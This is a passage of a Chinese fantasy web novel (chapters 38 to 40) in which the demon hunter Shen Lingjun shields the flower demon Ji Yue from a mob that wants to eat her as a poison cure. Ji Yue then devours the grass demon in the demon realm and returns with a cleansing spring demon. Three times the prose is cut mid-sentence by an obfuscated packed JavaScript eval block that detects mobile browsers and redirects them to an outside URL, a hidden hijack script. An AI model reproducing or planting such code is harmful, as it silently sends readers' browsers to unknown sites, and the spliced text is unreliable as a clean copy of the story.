这些人鼓噪起来没完没了,沈灵均听得心烦,唰地一声,拔出斩妖剑。 众人惊慌后退。 “再不离开,休怪我手下无情。” 白富脖子一歪,迎上刀锋,“砍啊!照这儿砍!脑袋掉了碗大个疤,二十年后又是一条好汉!让大家看看沈大人是如何滥杀无辜的!砍啊!” 刀锋距离他脖颈不过几寸,终究没有砍下去。 斩妖剑以斩妖为名,怎可伤人。 花园另一端,月洞门的后头,季月和王妙仪、沈伯正远远看着。 王妙仪听他们说要吃人,吓得一颗心砰砰乱跳,不时瞥向季月。 季月端着半碗圆子,边吃边看,眼神越来越凌厉。 王妙仪真怕她冲出去,和外面的人打起来。 她总觉得,虽然季月看起来纤纤弱质,打起架来,必定是一把好手。 季月确实忍不下去了。 睡眠不足,本就容易暴躁。她准备待会儿出去先把外面那条街掀了,再把这些要吃她的人都掼进玉川。 这个时节,河水已经结冰,让他们抱在一起,洗个凉快澡。 之所以还没有动手,是因为圆子还没吃完。圆子里的红豆馅有些粘牙,她正在一口一口慢慢嚼。 正在此时,长街尽头,马蹄声响。 一匹健壮的白马四蹄翻飞,急奔而来,奔到沈府门口,马上之人勒紧缰绳。白马一声长嘶,骑者翻身下来,指着人群怒喝,“大胆窃贼,把木料还来!” 38. 春风吹又生(十一) 季月、沈灵均、王妙仪、沈伯认出是韩思年,皆是一惊。 韩思年气势汹汹,“白富,你伙同他人,去琳琅阁工地上偷我们的木料,敢情是拿来砸沈府的门!我这就把你抓去见官!” 白富是县衙大牢的常客,四十余间监房,他几乎都住遍了。见官二字,听上去就跟吃饭一样稀松平常。 “韩大公子,你也来趟这浑水?这木料上又没写着你的名字,凭什么说是我偷你的啊?” 韩思年抬脚一踢那木头,木头滚了半圈,“这本是读书堂的梁柱,我少时顽皮,用小刀在上面刻了宁静致远四个字,如今还清晰可见呢!” 众人皆弯腰去看。那木料上还真有四个蝇头小字。 “白富,你还有何话说!” “你说是宁静致远,就是宁静致远啊,大伙也不认字是不是?再说了,许你刻字,不许别人刻字吗?” 韩思年道,“耍赖是吧,今日这顿官司,你是逃不掉了。” 他冲远处招手。只见晨雾中陆陆续续现出许多人影来,手里皆拿着斧子凿子等工具,把白富他们团团围住。 “这些是翻修琳琅阁的工匠,共有五十六人,足够请动你的大驾了吧?” “你仗势欺人!” “仗势欺人的是阁下!你纠集一批无赖到沈府来砸门,存的什么心思?” “你这小白脸懂什么?只要吃了那女子,全县中毒之人都有救了!” 韩思年看了看面色凝重的沈灵均,又担忧地往敞开的大门里瞥了一眼。 季月被这些恶人盯上,就算一时无事,难免夜长梦多。 还是应该让她速速远走高飞,远离是非之地。 “是否有救,在所难言。若伤了她的性命,还是解不了毒,该当如何?” 白富撇嘴,“那就怪她自己倒霉了。” “无耻!如此视人命如草芥,与禽兽何异?” 白富看看韩思年,又看看沈灵均,怪眼一翻,“我明白了,你们两个都被那娘们的美色所惑,神志不清了吧。这娘们究竟有多好看,出来走两步,也让兄弟几个见见世面!” 他身后之人高声起哄。 季月的圆子终于吃完了,她放下碗,掏出手绢擦了擦嘴。 王妙仪紧张地抓着沈伯的手,拼命向月洞门另一侧的季月打手势,“你别出去,外面那些不是好人,让我表哥对付他们。” 季月冷笑,“可你表哥只会捉妖啊。” 王妙仪大急,“你若贸然出去,真的会被抓走的!” 季月有些意外,“你不是讨厌我吗?” 王妙仪脸庞微红,“那也不能看着你自寻死路……” 季月嫣然一笑,“看来你心里还是喜欢我的!” “这都什么时候了!还开玩笑!你莫不是吓傻了?” “不慌,不慌,我出去问问他们,想先吃头还是先吃脚。” 她刚要迈步,外头传来震耳欲聋的哐啷当之声。 沈灵均抢先动了手。街上一半的石板被精准地掀了起来,白富为首的泼皮无赖有的挂在树上,有的贴在墙上,大多数被扔进了玉川。 河水上那一层薄薄的冰如何吃得住这么多人的分量,顿时碎裂。三十余条汉子在寒冷刺骨的河水里载沉载浮,哭爹喊娘。 韩思年和工匠们笑得前仰后合。 季月暗赞,沈大人,干得漂亮。 白富双手紧紧抱着树枝,生怕摔下来掉进水里,嘴上还不肯服软,“沈灵均,你给我等着,派我来的人,不会放过你的!” 沈灵均从鼻子里哼出一声,“是哪位世家贵族,位高权重之人?沈某改日一定上门拜会。” “是我。”一个低沉的声音说道。 众人回头。街道尽头,烟尘散去,露出一顶八抬大轿来。轿帘掀起,徐知县虎目含威,怒视前方,脸上被草妖所袭的伤痕犹在。 沈灵均心中一紧。 “知县大人亲至,也是要逼我交人吗?沈灵均只要有一息尚存,绝不能坐视此等人吃人的禽兽之举。” 徐知县想说什么,被灰尘呛住了,大咳起来。 胖大的身躯蜷缩在轿子里,竟显得有些无助。 他好半天才喘匀了气,招了招手,“沈灵均,你跟我来。” 离县衙还有一条街,徐知县下了轿,带着沈灵均兜了个圈子,从后门偷偷溜进去,躲进公堂后面的小室,透过帘子向外看。 公堂之上挤满了人,一只只手伸在半空,讨要药丸。师爷被逼得几近崩溃,哑着嗓子一遍遍地喊,“药发完了,真的没了,大家回去吧!” 众人不肯散去,有的就地一坐,大哭起来。 沈灵均眉头紧锁。五百枚药丸确实只救得一时之急,不足以彻底解毒。 “你这些日子,可曾寻到草妖踪迹?” “属下惭愧,寻遍全县,一无所获。” “那你府中,可还有解毒的药丸?” “三花解毒丸是师门秘方,所需原料极为难得,留在沈府的只够配制那五百枚。” “也就是说,这些人接下来,只能听天由命了?” 沈灵均说不出话来。 徐知县沉声道,“那个叫季月的女子,是最后的指望了。” “徐大人,这是草妖的阴谋,沈某以性命担保,吃掉她,绝不可能解毒!” 徐知县失望地长叹一声,“年关将至啊。自我到任南安县十余载,从未有哪一年,像今年这么艰难的。” 沈灵均离得近,看见他眼下果然新添了几道皱纹。 “妖邪四起,事情一桩接着一桩,先是闻大人,后是庆真楼。从前别人说起南安县,没有不交口称赞的,都说是太平盛世,安乐之乡,如今……如今这日子眼看就过不下去了。连我侄子都劝我,赶紧调任,离开这妖孽横行的地方。” “令侄还想接手庆真楼吗?” “这小兔崽子,逃都来不及。” 事到如今,徐知县深感懊悔。要不是当初被这侄子怂恿,强夺庆真楼,或许曹掌柜还不会那么快翻脸。 “沈大人,你我共事多年,也算投缘。今年这年关能否过去,就看你意下如何了。” “我必全力以赴寻找草妖,救民于倒悬。” 徐大人咳了两声,“若是杀一人能救百人,就让白富去做那恶人。事后处置了他,中毒者也能得救,岂不两全其美?” 沈灵均恍然大悟,“原来这才是徐知县的计策。牺牲一个泼皮无赖,一个弱小女子,解救众生,真可谓大智慧。” “你不必阴阳怪气,这是本官死马当活马医的无奈之举。” “只可惜,吃掉季月并不能解毒。徐大人为何情愿相信罪魁祸首曹掌柜,却不信我的话?” “他既能害人,自然也能救人。” 沈灵均只是摇头。 “还有一个法子,答应他的要求,打开连接人妖两界的通道。” “通道我无法打开,况且,神巫署绝不会允许。” “沈灵均,你之所以这么说,是因为家中没有中毒之人。我夫人……” 徐知县说到这里,居然哽住了,虎目含泪。 “尊夫人如何了?” “她吃了十几粒你留下的药丸,至今昏迷不醒!” 徐知县对这位夫人到底还有些感情。从沈灵均留下的紫金葫芦里倒出一大把药丸,径直送回了家。 徐夫人毒发后又吃了不少庆真楼抢来的点心,毒性加重,正在床上痛得打滚。拿到药丸,看也不看全吞了下去。 三花解毒丸问世以来,还从未有人一次服下这么多。多亏徐夫人身体底子健壮,才没当场要了她的命。 徐知县叹气,“十日不到就死了两人,我夫人恐怕会成为第三个。等到七七四十九日,还要再死几人?” 沈灵均欲言又止,沉吟许久,一掀帘子,走了出去。 他对着堂上浑浑噩噩的众人说道,“若有妖毒入体,情势危急的,我可以行运功驱毒之法,尽力解救。” 众人呆呆地望着他。 “你们之中,可有失去意识超过一日的?” “有!”一个年轻姑娘举起手来,“我母亲,已经昏迷两日了。” 沈灵均见她怀里搂着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084245|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个中年妇人,脸庞浮肿,遍布青紫之色,瞧来令人胆寒。 “好,先把她抬进来。” 他回到公堂之后那间小室,将那妇人扶起,手掌抵在她后心,缓缓注入一股真气。 这法子和当初救治王妙仪基本相同,以功力打通滞涩的经络,提升阳气,驱除体内妖毒。 他运功半晌,那妇人脸上青紫之色渐退,变得煞白。 她女儿在一旁喜极而泣,连连磕头。 沈灵均放开手掌,“带回去好好休息,抓些清热凉血的汤药,喂她服下。” 女儿千恩万谢地走了。 沈灵均接连不停,又替一个六岁小女孩、一个七旬老妪、一个身怀六甲的妇人运功驱毒。 功力消耗过甚,到后来,自己也觉得心跳气促,丹田之中隐隐作痛。 送走妇人,往窗外一看,夕阳余晖已染红了半边天空。 徐知县不知去向,外面仍有等着他救治的人,细碎语声飘进耳朵。 “到头来还是要靠沈大人。” “这下有救了。” 沈灵均摇头苦笑。 撑过一日算一日吧。 他起身打开窗户,冷风灌进来,昏沉的头脑清醒了一些。 冬日晚上的空气凛冽而纯粹。 太纯粹了。 好像少了点什么。 沈灵均突然心中一跳,大惊失色。 那股数月以来盘桓于南安县,澎湃强大,势不可挡的妖气,消失了! 自从季月出现,他时刻都能感觉到妖气的存在,时间久了,还能精准判断方位。起初深受其扰,后来坐视不理,如今,已经成了习惯。 妖气骤然消失,偌大的南安县,就像一潭死水,平静得让人心慌。 季月去了哪? 他抓起剑往回赶。沈府门外的街道上,石板翻起,一片狼藉,大门正中被木料撞出的大坑仍在。院子里黑沉沉的,唯有大厅亮着灯。王妙仪和沈伯围坐桌边,正在分食一条红烧鲫鱼。 他冲进去,喘着气问,“季姑娘呢?” 两人愕然抬头,“她走啦。” “什么时候走的?!” 王妙仪道,“你去了县衙后,那些泼皮无赖一哄而散。我请韩公子进来喝茶,答谢他带人解围。韩公子不住地劝季姑娘暂时离开南安县,避避风头。” “她就跟着韩思年走了?” “表哥你别急,听我说完啊。季姑娘起初不肯走。可韩公子告辞后,她突然表情很可怕地冲出去了。” 沈伯道,“我看季姑娘还是被吓着了,整张脸都青了。等我追到门口,人已经没影了。少爷,要不要派人去韩府问问?” 王妙仪嘟囔,“她的衣服都没带走呢。” “你们怎么没拦着?!” 王妙仪吓了一跳,“表哥你干嘛这么大声?” 沈伯劝道,“季姑娘终归只是沈府的客人,何况那些人如此凶神恶煞,打上门来,她害怕逃走,也是人之常情啊。” 沈灵均感到整个人都被掏空了,脑袋里嗡嗡的,不停胡思乱想。 是因为他护不住她,她才离开的吗? 外面满城风雨,撞上那些恶人怎么办? 他们自然伤不了她。可她的气息为什么突然消失了? 她是从天而降的大妖,是危险,是变数,而他是南安县唯一的捉妖师,监视她,防备她,了解她,责无旁贷。 表面周旋,暗中发奋,提升功力,一举击败,是他一早定下的计策。 可不知从什么时候开始,关心取代了敌意,牵挂多过了提防。看她笑嘻嘻地跑来跑去,招猫逗狗,招蜂引蝶,嘴上说要躺平,其实好奇心重得不得了,事事都要掺和,大字不识几个,歪理一筐一筐…… 他几乎快要忘记,季月出现以前,南安县的日子是什么样的。 这个让他日夜挂怀的大麻烦精,还会回来吗? 他希望她回来吗? 沈灵均怅然若失地走回书房,把自己锁在里面。 他没发现,门口幽暗处,有几缕草茎遗落在地上,闪着碧绿的光。 39. 春风吹又生(十二) 季月并没有跑出沈府。 她捕捉到一丝熟悉的气味,当即追踪在后,冲出大厅,掠过花园,又绕回内宅。 转到书房门口,她五指成爪,猛地伸长,从稀薄的空气里拽出一根碧绿的草茎。 草茎越扯越长,越扯越多,她加快速度,双手并用,终于噗地一声,一大蓬草爆了出来,草妖现了原形。 “小妖,好久不见啊。” 季月更不多话,月季枝条刺出,在他咽喉处绕了一圈,狠狠收紧。 草妖嘶声道,“慢着,别杀我。” 季月又加了几分劲。 草妖喉咙里漏出断断续续的声音,“你若是……杀了我……就得不到……解药……” 季月怒道,“你不是骗大家我就是解药么?!” 草妖嘴角吐出白沫,千万缕绿丝绦无力地拍打月季枝条。 “我只是……想让你看清……人类的真面目……” 季月用力一甩,草妖打着旋飞出去,重重地撞在书房大门上。一声闷响。书房门纹丝不动,草妖像团烂泥一样瘫软在地。 季月微感惊讶,书房大门上似乎设了个禁制。 她扔出一片花瓣,花瓣触到大门,滋啦一声,化为一缕轻烟。 “哈,原来你……也进不去……” 草妖早在夜访徐知县之后,就偷偷潜入沈府。沈灵均跑遍南安县抓他,万万想不到,他就在自家书房门口徘徊。草妖几天以来使劲浑身解数,仍无法突破禁制,一时焦躁,不慎溢出一丝气息,才被季月抓个正着。 季月在沈府多日,每天吃了睡,睡了吃,从没想过进书房看看。难道里面除了沈灵的书册,和一堆没用的捉妖法器,还有别的东西? 草妖躺在地上拼命喘气,“凶巴巴的小妖……功力不过尔尔……” 他便是有这个本事,都被打成一团草泥了,嘴还硬得很。 “里面有什么?” “南安县上一任捉妖师是天一道人,可他放着道观不住,天天窝在徒弟家里。还下令禁止仆从靠近内宅。我早就怀疑,那连通人妖两届的通道,就藏在沈府。” 季月扬起眉毛,“还有这样的通道?” “难道你不是从这里来的?“ “我……自然不是。” 草妖口中嗬嗬作响,目露异光,突然扑上来,“我就知道!一定有别的法子!” 季月手一扬,割下一大捆草茎,草妖眼睛都没眨,好像连痛都感觉不到了。 “只要你带我去妖界,我什么都可以答应!哪怕要我下跪认错,磕头谢罪,都行!” 季月无语了。妖界的妖虽凶恶,却少有像这么疯的。 “你先把解药交出来。” 草妖怪笑,“当我三岁孩子?到了妖界,解药自然双手奉上。” “你有几条命和我讨价还价?” “我若死在人间,有这中毒的几百人陪葬,也堪比古时的帝王将相了。哈哈哈哈!” 季月感到一阵恶心,若按她的脾气,早就将这蓬又烂又毒的穿心草大卸八块了。她在妖界数百年,从来都是一言不合就动手。 换了沈灵均在此,必定会把草妖监禁起来,威逼利诱,迫使他交出解药。 可季月性子直爽,耐心也有限,想着只要送走草妖,拿到解药,南安县可以立刻恢复平静,她也赶得及在冬天结束前睡一场好觉。 虽经画像一事,她对人心鬼蜮,仍是一知半解。 季月把手伸进怀里,摸到铜镜的边。 “妖界腥风血雨,弱肉强食。你若有胆子,就跟我来吧。” 草妖眼看多年夙愿就要达成,喜不自胜,散落在地上的草茎全都活了过来,像千万条绿色蚯蚓,游回本体。它升到半空,一会儿伸展成一堵绿墙,一会儿又团成一个小球。 “快,快带我去!” 季月取出铜镜,念了一遍白胡子老头教的长长的口诀,铜镜跃到空中,镜面金光四射,裂开一道巨大的缝隙。 草妖不等季月发话,就一头钻了进去。 季月紧随其后。身体还没完全通过缝隙,脸上一凉,巨大的雪团迎面砸来,化成冰水汩汩留下。 天地一片纯白,连山峰和田野的轮廓都辨认不出,金光消失,铜镜旋转着飞回怀里,小小的,柔软的人身“噗”的一声,没入厚厚的积雪里。 所有声音都远去了,周身被松软的白雪包裹,说不出的惬意。 这是妖界的冬天,大雪纷飞的冬天,只消再待上片刻,睡意就会袭来,把她推入恬静的冬眠。 季月强迫自己睁开眼睛,扒开雪堆,升到湿冷的空气中,俯视大地。 穿心草不知所踪。 她变回花身,枝条伸长,在雪里搅了半天,才捞出一蓬凌乱的绿草。 他似乎冻僵了,任凭如何拍打都醒不过来,草茎毫无生气地垂着。 季月无奈,极不情愿地给他输送了些许妖力。 草妖的身体渐渐变热,突然抖了起来。 “这就是妖界?” 风声呼啸,他那尖锐刺耳的嗓音简直像是婴儿啼哭。 季月没好气地说,“对,这就是你心心念念,死也要来的妖界。” 草妖环视漫天飞雪,打着哆嗦,爆发出一串颤抖的狂笑,“哈哈哈哈,我终于来到属于妖的地方,再也不用装模作样做人了!我要生长、蔓延、繁衍,等春天来了,这里所有的白色都会变成绿色!” 他的草茎迫不及待地蠕动着,向四面八方延伸,在皑皑白雪中铺开一张绿色的网。拳头大的雪花不断砸在网上,被坚韧锋利的草茎割成无数碎块。 季月倒有些佩服他了。区区小草,生长的愿望如此强烈,如果运气好没被冻死,也没被别的妖吃掉,或许真能在妖界扎根呢。 她抬起根系,在雪原上的草茎之间跳着走。 “别废话了,把解药拿来,我们各走各的路。” 草妖嘿嘿冷笑,“什么解药?” 季月一惊,“你不是答应,带你来妖界,就交出解药吗?” 草妖装作恍然大悟,“你是想回去救那些人?嘿嘿,他们可想吃了你啊。” “你敢耍赖?!” “哈哈哈哈,愚蠢的小花妖,穿心草怎么会有解药?七七四十九日的时限也是我信口胡诌的!那些好吃懒做的倒霉蛋,就让他们自生自灭吧!” 季月浑身的汁液都凉了。她又被这奸诈的老妖坑了一回!看来他比她多活的两百年,光用来磨炼心计了。 掉在身上的雪团骤减,季月抬头,发现草茎不知何时改了方向,转而向上,成千上万条绿草在空中交叉、回合,结成一张大网,笼罩下来,淹没了她。 天光迅速黯淡。 雪原上惟余一只巨大的绿球,像不断蠕动的蚕茧。 轰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084246|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隆。 破茧而出的不是纤细美丽的蝴蝶,而是深褐色的粗壮枝干。 枝干上伸出无数带尖刺的枝条,把蚕茧由内而外扎成了刺猬,还在不断向上生长,雪团落在表皮上,成为微不可见的点缀,穿心草结成的广袤绿网,被庞大的根系踩在脚下。 枝干最上方,张开一对血红的眼睛,一方深不见底的阔口。 这才是季月的妖身,她本来的样子。 用这个身体打架,能发挥全部实力。 季月的声音隆隆响起,如同空中炸开惊雷。 “你找死。” 穿心草哆嗦着。她怎么会变得和天空一样高?他扎根在雪原表面,根本看不清她的样子。 “小花妖,你……” 季月俯下身子,“都告诉你妖界危险,偏要来。最后问一遍,解药在哪里?” “我不……等等……啊啊啊!” 腰间的枝条探出,从雪上捞起一蓬草,送到嘴里嚼了起来。 “住手!” 草茎在嘴里弹跳,季月默默计数:一口嚼三十下。 草妖拼命延伸,想要逃跑,奈何被根系压得死死的。 它用尽全力,绷紧、振动、切割,枝干表皮出现浅浅的口子,透明的汁液流淌出来。 季月冷笑,“只有这点能耐么。” 她伸出一根枝条,在穿心草中间画了几个圈,让许多草茎缠绕在上面,蘸了蘸一旁的雪水,送入口中。 有了水分,更添美味。 草妖哀嚎,“饶了我,我不想死。” “你不是说,只要能去妖界,死也瞑目吗?” “求求你,我要生长,我要蔓延,啊,好痛……” 季月虽然细嚼慢咽,但食量甚大,白茫茫的雪原上,很快就只剩稀稀拉拉的草茎。 她抄起最后几缕,穿心草发出微弱的声音,“我真的有解药,放了我……” 血红的眼睛闪了闪,“再也不会相信你了,骗鬼去吧!” 咔哒一声,唇齿合拢,穿心草七百年的妖生,就此终结。 季月吃完草,用叶片剔了剔牙。 闭着眼睛感受了一下。天地间唯有雪的气味,方圆五十里,没有足以威胁她的妖。 即使有,也进入冬眠了。妖在冬眠时,是不散发气味的。在这茫茫雪原里,等同于隐身。 当然,凡事都有例外。去年冬天,绿牡丹硬撑着不睡,绕着具区泽一寸寸搜寻,硬生生把她从雪堆里扒拉出来。 如此执着,妖中罕见。 那场架打得惨烈,也让她第一次产生离开妖界的念头。 季月缓缓睁开眼睛。厚实的雪看起来有些危险,万一绿牡丹藏在下面呢? 深褐色的枝干缩短、收窄,变回普通大小,头上顶着的红眼睛和阔口变回一朵鲜红的月季花,花盏微微压低,根系一蹦一跳,在皑皑白雪间前进。 吃了一大蓬草,得散会儿步消消食。 她离开妖界数月,一朝回归,自然而然地往家的方向走。 走到半路才想起,去人间前,把一家一当都卖给了白胡子老头。 如今房子里什么都没有了。 正觉心酸,脚下的积雪忽然变浅了,根系末端,隐隐触到一股水气。 这水是甜的。 季月灵机一动。 说不定,她真的有办法解穿心草之毒。 40. 春风吹又生(十三) 月季根系陡然伸长,探向积雪下方。这里点点,那里戳戳,寻找那股熟悉的甜味。很快,就触到了一片光滑的冰面。 这冰面藏在积雪底下,寒风吹不着,雪团砸不着。季月敢打包票,方圆五十里,再也没有比这更平的冰面了。 她举起最粗的一根枝条,运足了劲,重重向冰面砸去。 冰面上瞬间出现一道闪电状的裂缝。 裂缝向远处延伸,分裂出几道小闪电。 季月又砸了几下,裂缝越来越多,连成蛛网。 终于锵啷一声,整块冰面碎掉了,散落的冰渣子底下,传来哀怨的声音,“大冬天的,谁在扰妖清梦?” “我。” 冰渣子震动起来。毫无预兆,一股巨大的水流喷涌而出,冲开积雪,在阴沉天空下跳跃。 泉妖现出原形。 这只活泼的小妖和她比邻而居已有一百余年了。 “月季?你还活着?我还以为你被妖吃了呢。” 季月把枝条伸进喷泉里,冲洗叶片,“出了趟远门而已。这段时间有没有妖来寻仇?” “绿牡丹来过一次。” 季月僵住。 “别慌嘛,她看你家都搬空了,骂骂咧咧地走了。” “呸,我有什么可慌的。” 泉水上下跳动,似在欢笑,“你是回来冬眠的吗?这片地方甚好,平坦舒服,睡得香。” “我现在还不能睡。你也别睡了,跟我去个地方。” 喷泉急速收缩,缩成一个泉眼,如离弦之箭般逃窜,“谁也别想妨碍我睡觉!” 季月早有准备,枝条刺出,一截,一档,把泉水拦了回来。这套动作,她熟练之极,百试百灵。 “你睡了这么久,还不够吗?” 泉妖哭道,“当然不够,如今这时节滴水成冰,我的泉水根本化不开嘛。” 季月把叶片伸进泉眼,拨弄了一下。 “哈哈哈,痒。月季,别闹了!顺应天时,乖乖冬眠吧!” 季月嘟囔道,“我倒是想睡……我问你,你的泉水能不能洗掉这草茎上的毒?” 她方才剔牙的时候,留了一缕穿心草的草茎,这时用叶片托着放在泉眼上方,给泉妖看。 “这不是穿心草嘛,这草没毒啊。” “对妖无毒,对人有毒。” “人?人是什么?” 季月叹气。人类的存在,是白胡子老头告诉她的。一般的妖根本没听说过人间,就像普通人没听说过妖界一样。 这泉妖本是具区泽畔一汪清泉,一百多年前才修炼成精,对世间万物无知得很,该怎么向他解释呢? “人……就是一种比较弱小的妖,没有功力。” “没有功力的妖早就被吃光了。” “他们生活的地方没有妖,唔,几乎没有妖。” 泉妖大感好奇,“你失踪的这段时日,原来是跟人呆在一起?” “对啊,你想不想去人间看看?比这里有意思多了。” 泉水撒娇似的左右摇摆,溅了季月一身,“开春了再去行吗?我这会儿好困啊。” 季月把草茎捞了回来,仔细嗅闻。 穿心草的气息,经过泉水的冲刷,已经彻底消失了。 季月在妖界住的时候,经常用泉水洗屋子。她养的银翅蜂的蜂巢,只要用泉水一冲,立刻干干净净。 泉水既然有净化之功,用来对付穿心草之毒,或能奏效。 “你帮我去人间做一件事,做完再睡。” 泉妖闹起来,扑到季月身上,把她浇了个透心凉,“不去不去!要去你自己去!” 季月从花冠到根系都滴着水,阴恻恻道,“不去我就吃了你。” 泉水功力有限,摆脱不了月季枝条的束缚,便形成一股激流,冲天而起,大喊,“坏月季!坏月季!” 季月抬头仰望,“瞧你这架势,是要向太阳告状?看这天色,羲和今日可没出门。” 泉妖沸腾着,大发脾气,水柱在大雪中喷出各种丑态,不忍卒睹。 季月懒洋洋地观赏了一会,摸出铜镜,念动口决。 泉妖被镜子发出的金光唬住了,水流静止,一息之间凝成寒冰,整个妖被一股巨力所摄,从头到脚没入铜镜之中。 沈灵均一觉醒来,发现变天了。 凄迷的雨雾笼罩了整个南安县。昏暗苍穹下,天地万物失去了色彩,只余单一的灰白。 雨脚细如牛毛,打在白墙黑瓦和青石板路上,连绵不绝,却悄无声息。 灌入鼻子的不再是寒冷干燥的冬日空气,而是氤氲水气。 水雾无孔不入,逃不脱,甩不掉,几乎让人透不过气。 在外行走的人撑着伞,也挡不住黏腻雨丝。 卧病在床的人,解开冬衣领子,大口喘息。 他们自然闻不出,那无边无际的漫天白雾中,蕴含着极重的妖气。 沈灵均提着剑飞向高空,“季姑娘”三个字差点冲口而出。 他满心希望,不,他冷静揣测,必是季月回来南安县搞风搞雨了。 可水雾之中,什么都看不清楚。在空中几个转折,身上衣服已经湿透,又向上纵跃,穿过水雾的边缘,却看见白云悠悠,天空湛蓝。 这雨凭空而来,好生奇怪。 沈灵均沉吟片刻,低声念诀,一道掌心雷劈出,从雨雾中穿过。 无事发生。 他举起斩妖剑,画了半个圆圈,召来一阵罡风。 头顶的白云被吹得无影无踪,阳光无力地洒下。 可脚下的水雾毫无变化。 他焦躁起来。 这水雾融合在空气里,用不了多久,就能渗透人的四肢百骸。 穿心草在食物中洒了几粒草籽,已经把全县搅得天翻地覆。这铺天盖地的水雾,天知道会造成什么后果。 百姓哪经得起这样折腾。 沈灵均从怀里掏出一张濡湿的符纸,默念引火决。熊熊烈焰瞬间燃起,向雨中蔓延。 这回有效果了,水幕被烧穿一个洞,洞里不再有雨落下。 然而周遭的雨水不断汇聚,堆积成巨大的水流,反而向天空喷去。 阳光之下,陡然出现一道彩虹,随即,那股喷泉瞄准沈灵均,兜头浇下,把他淋成一只落汤鸡。 沈灵均从里到外淌着水,耳边还隐隐听到清脆的怒骂,“坏人!坏人!” 他抹了把脸,喝道,“我乃是南安县捉妖师,何方妖孽,速速现身。” 没有回应,只闻泉水叮咚。 “再不现身,我就不客气了!” 还没等他引出第二道火,一股旋风自下而上袭来,把沈灵均卷在其中。 他像个陀螺似的原地打转,正要挺剑劈风,只觉头顶被一股巨力击打,不由地向下急坠。 他掉落的速度,和身边的雨滴一样快,耳畔风声急劲,目中所见唯有光晕。 沈灵均运起全身力气,伸掌拍出。 哗啦啦。掌风击碎了最后几片价值连城的琉璃瓦。他借力倒转身子,堪堪落在庆真楼顶。 雨脚一阵急似一阵,像在嘲笑他一般。 沈灵均阴沉着脸,掌心雷一道接着一道,劈向雨幕。 人们听见响动,纷纷咋舌,只道是南安县妖孽四起,倒反天罡,雷从地下往天上打。 天空中形成巨大的漩涡,一股水柱向他袭来,这回他有所准备,一边飞身躲闪,一边将雷引向水柱。 劈中几次,水柱吃痛,势头稍缓。沈灵均心头一喜,正欲使开二十九式屠龙剑法乘胜追击,突然感到脖子后面刺痛。 一根枝条从背后袭来,速度之快,力道之强,险些把他捅个对穿。 他踉跄回头,刚瞥见一抹深褐色的影子,就被拦腰扫进水柱中间的漩涡里。 只觉得天旋地转,体内翻江倒海,五脏六腑都快吐了出来。 震耳欲聋的水声中,居然还夹杂着清脆的嘲骂,“碍事的人!” 沈灵均连运几次功力,却无法挣脱束缚。 水柱之外,景物飞驰,根本辨不出东南西北。 意识逐渐模糊,不知飞了多远,漩涡和水柱骤然消失,他又一次从百尺高空向下急坠。 这回来不及借力,结结实实地摔到地上。 要不是有法力护体,恐怕浑身的骨头都要摔成粉末。 地上被他砸出一个大坑。 眼睛睁开一条缝,发现自己身处沈府后院。 光秃秃的银杏树傲然挺立。雨水混着地上的泥土,直往嘴里冲。 沈伯和王妙仪惊叫着跑近,鞋子溅起泥水。他们的声音像隔着一层棉花,听不真切。 雨还在下,无边无际。 南安县的这场冬雨下了一天一夜。往年这个时节都结冰的玉川,反常地发了大水。河水漫过青石板路,漫过桥墩,漫过岸边柳树的树根。 奇怪的是,雨水冲刷过的地方,全都洁净如新。墙根下没长出蘑菇,灶台下一片雪白,连烟囱旁的陈年污垢都瞧不见了。 沈灵均养了一天的伤,还没好全,便挣扎起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084247|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶去县衙。中毒之人还等着他救治。 雨过天晴,云收雾散,那铺天盖地的浓重妖气也随之消失了。 他起初想当然地以为是季月在搞事,现在却不敢十分肯定了。雨中那妖打了他。如果是季月,为什么要打他?他对她关怀备至,手下留情,她怎么忍心打他? 何况那水中叫骂的声音也不像她。 如果不是季月……南安县当真是流年不利,大妖一个接一个驾到。看来光是苦修功法还不够,应该做场法事,烧柱高香,祷告上天,祈福禳灾。 沈灵均步履沉重地到了县衙,却发现公堂之上冷冷清清,只有当值的衙役。 他认得其中一个年轻人叫许小宝,就住在琳琅阁隔壁。 “小宝,人都去哪儿了?” “回沈大人,今日还没有百姓上门呢。” “知县大人呢?” “也没见到。” 沈灵均点了点头,走到小室之中,盘膝而坐,闭目养神。 昨日一场恶战,功力还没复原。希望待会儿救治百姓的时候不要力竭。 然而一整个上午都没人来。 中午,衙役们端来味同嚼蜡的饭菜,他胡乱吞下几口。 午后,继续闭目养神,伤处隐隐作痛,一不小心睡了过去。 再醒来时,天色已经全黑了。 他心里一凉,冲了出去,“小宝,快去外头查问一下,中毒之人如何了?” 若是已经死了,便不会来求助了。 